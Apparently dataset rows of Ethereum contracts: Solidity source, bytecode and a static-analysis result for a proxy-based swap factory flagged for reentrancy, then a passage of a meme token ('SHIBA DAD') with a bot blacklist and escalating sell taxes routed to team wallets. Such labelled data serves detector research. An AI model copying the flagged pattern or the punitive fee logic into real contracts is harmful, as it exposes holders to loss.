bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy, IWSProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor() public payable UpgradeableProxy() {
require(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1), "Wrong admin slot");
_setAdmin(msg.sender);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external override ifAdmin returns (address) {
return _admin();
}
function initialize(address _newImplementation, address _admin, bytes calldata _data) external override ifAdmin {
_upgradeTo(_newImplementation);
_setAdmin(_admin);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _implementation().delegatecall(_data);
require(success);
}
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external override ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external override ifAdmin {
require(newAdmin != _admin(), "WSProxy: new admin is the same admin.");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external override ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external override payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
require(newAdmin != address(0), "WSProxy: Can't set admin to zero address.");
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
contract WSProxyPair is TransparentUpgradeableProxy {
constructor() public payable TransparentUpgradeableProxy() {
}
}
interface IWSPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function isLocked() external view returns (uint);
function initialize(address _factory, address _token0, address _token1) external returns(bool);
}
interface IWSImplementation {
function getImplementationType() external pure returns(uint256);
}
contract WSFactory is IWSFactory, IWSImplementation {
bool private initialized;
address public override feeTo;
address public override feeToSetter;
address public controller;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function initialize(address _feeToSetter, address _controller) public returns(bool) {
require(initialized == false, "WSFactory: Factory was already initialized.");
require(_controller != address(0), "WSFactory: controller should not bo zero address.");
require(_feeToSetter != address(0), "WSFactory: _feeToSetter should not be zero address.");
feeToSetter = _feeToSetter;
controller = _controller;
initialized = true;
return true;
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external override returns (address pair) {
require(tokenA != tokenB, 'WSwap: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'WSwap: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'WSwap: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(WSProxyPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
// Factory as current proxypair admin initializes proxy with logic and right admin
IWSProxy(pair).initialize(IWSController(controller).getLogicForPair(), IWSController(controller).getCurrentAdmin(), "");
// Factory initialized created pair with tokens variables
require(IWSPair(pair).initialize(address(this), token0, token1) == true, "WSFactory: Pair initialize not succeed.");
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, 'WSwap: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, 'WSwap: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function getImplementationType() external pure override returns(uint256) {
/// 1 is a factory type
return 1;
}
} | 0x608060405234801561001057600080fd5b50600436106100c95760003560e01c8063574f2ba311610081578063e6a439051161005b578063e6a4390514610205578063f46901ed14610240578063f77c479114610273576100c9565b8063574f2ba31461018d578063a2e74af614610195578063c9c65396146101ca576100c9565b80631e3dd18b116100b25780631e3dd18b146101075780632a2767e514610124578063485cc9551461013e576100c9565b8063017e7e58146100ce578063094b7415146100ff575b600080fd5b6100d661027b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100d661029c565b6100d66004803603602081101561011d57600080fd5b50356102b8565b61012c6102ec565b60408051918252519081900360200190f35b6101796004803603604081101561015457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166102f1565b604080519115158252519081900360200190f35b61012c6104a8565b6101c8600480360360208110156101ab57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104ae565b005b6100d6600480360360408110156101e057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602001351661057b565b6100d66004803603604081101561021b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610bf5565b6101c86004803603602081101561025657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c28565b6100d6610cfa565b600054610100900473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600481815481106102c557fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b600190565b6000805460ff161561034e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611769602b913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166103ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806117056031913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8316610426576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806117366033913960400191505060405180910390fd5b506001805473ffffffffffffffffffffffffffffffffffffffff8085167fffffffffffffffffffffffff00000000000000000000000000000000000000009283161783556002805491851691909216179055600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168217905592915050565b60045490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461053457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f57537761703a20464f5242494444454e00000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561061857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f57537761703a204944454e544943414c5f414444524553534553000000000000604482015290519081900360640190fd5b6000808373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610610655578385610658565b84845b909250905073ffffffffffffffffffffffffffffffffffffffff82166106df57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f57537761703a205a45524f5f4144445245535300000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff82811660009081526003602090815260408083208585168452909152902054161561078057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f57537761703a20504149525f4558495354530000000000000000000000000000604482015290519081900360640190fd5b60606040518060200161079290610d16565b6020820181038252601f19601f82011660405250905060008383604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f594508473ffffffffffffffffffffffffffffffffffffffff1663cf7a1d77600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663be7a76f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561089d57600080fd5b505afa1580156108b1573d6000803e3d6000fd5b505050506040513d60208110156108c757600080fd5b5051600254604080517f643d430c000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163643d430c91600480820192602092909190829003018186803b15801561093457600080fd5b505afa158015610948573d6000803e3d6000fd5b505050506040513d602081101561095e57600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff938416600482015292909116602483015260606044830152600060648301819052905160a48084019382900301818387803b1580156109e057600080fd5b505af11580156109f4573d6000803e3d6000fd5b5050604080517fc0c53b8b00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff888116602483015287811660448301529151918916935063c0c53b8b92506064808201926020929091908290030181600087803b158015610a7857600080fd5b505af1158015610a8c573d6000803e3d6000fd5b505050506040513d6020811015610aa257600080fd5b50511515600114610afe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806117946027913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff80851660008181526003602081815260408084208987168086529083528185208054978d167fffffffffffffffffffffffff000000000000000000000000000000000000000098891681179091559383528185208686528352818520805488168517905560048054600181018255958190527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b90950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a35050505092915050565b600360209081526000928352604080842090915290825290205473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff163314610cae57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f57537761703a20464f5242494444454e00000000000000000000000000000000604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6109e180610d248339019056fe608060405261000d33610012565b61007b565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036001600160a01b0382166100785760405162461bcd60e51b81526004018080602001828103825260298152602001806109b86029913960400191505060405180910390fd5b55565b61092e8061008a6000396000f3fe6080604052600436106100695760003560e01c80638f283970116100435780638f28397014610196578063cf7a1d77146101d6578063f851a4401461027957610080565b80633659cfe61461008b5780634f1ef286146100cb5780635c60da1b1461015857610080565b366100805761007e61007961028e565b6102b3565b005b61007e61007961028e565b34801561009757600080fd5b5061007e600480360360208110156100ae57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166102dc565b61007e600480360360408110156100e157600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561011957600080fd5b82018360208201111561012b57600080fd5b8035906020019184600183028401116401000000008311171561014d57600080fd5b509092509050610330565b34801561016457600080fd5b5061016d6103ff565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156101a257600080fd5b5061007e600480360360208110156101b957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610456565b3480156101e257600080fd5b5061007e600480360360608110156101f957600080fd5b73ffffffffffffffffffffffffffffffffffffffff823581169260208101359091169181019060608101604082013564010000000081111561023a57600080fd5b82018360208201111561024c57600080fd5b8035906020019184600183028401116401000000008311171561026e57600080fd5b50909250905061057e565b34801561028557600080fd5b5061016d61066a565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102d2573d6000f35b3d6000fd5b505050565b6102e46106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561032557610320816106d0565b61032d565b61032d61071d565b50565b6103386106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f757610374836106d0565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103de576040519150601f19603f3d011682016040523d82523d6000602084013e6103e3565b606091505b50509050806103f157600080fd5b506102d7565b6102d761071d565b60006104096106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b5761044461028e565b9050610453565b61045361071d565b90565b61045e6106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610325576104996106ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561051d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806108716025913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6105466106ab565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a16103208161072a565b6105866106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065c576105c2846106d0565b6105cb8361072a565b80156106575760006105db61028e565b73ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610642576040519150601f19603f3d011682016040523d82523d6000602084013e610647565b606091505b505090508061065557600080fd5b505b610664565b61066461071d565b50505050565b60006106746106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b576104445b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6106d9816107ba565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61072861007961028e565b565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610373ffffffffffffffffffffffffffffffffffffffff82166107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806108d06029913960400191505060405180910390fd5b55565b60006107c461028e565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180610896603a913960400191505060405180910390fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe575350726f78793a206e65772061646d696e206973207468652073616d652061646d696e2e575350726f78793a20417474656d7073207570646174652070726f78792077697468207468652073616d6520696d706c656d656e746174696f6e575350726f78793a2043616e2774207365742061646d696e20746f207a65726f20616464726573732ea2646970667358221220687d0738850e5aa90dec08be36fa0ada9c697aab51c9f0e17c0c1b3d3fab4d9c64736f6c634300060c0033575350726f78793a2043616e2774207365742061646d696e20746f207a65726f20616464726573732e5753466163746f72793a20636f6e74726f6c6c65722073686f756c64206e6f7420626f207a65726f20616464726573732e5753466163746f72793a205f666565546f5365747465722073686f756c64206e6f74206265207a65726f20616464726573732e5753466163746f72793a20466163746f72792077617320616c726561647920696e697469616c697a65642e5753466163746f72793a205061697220696e697469616c697a65206e6f7420737563636565642ea2646970667358221220d26fcec3f6f240486eb0b55b059482af8e70467838f53239f9cc7e759415907b64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 612 |
0xc3a39b230a693d1ba2af3502866b532abf029d37 | /**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract father is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"SHIBA DAD";
string private constant _symbol = "SHIB DAD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
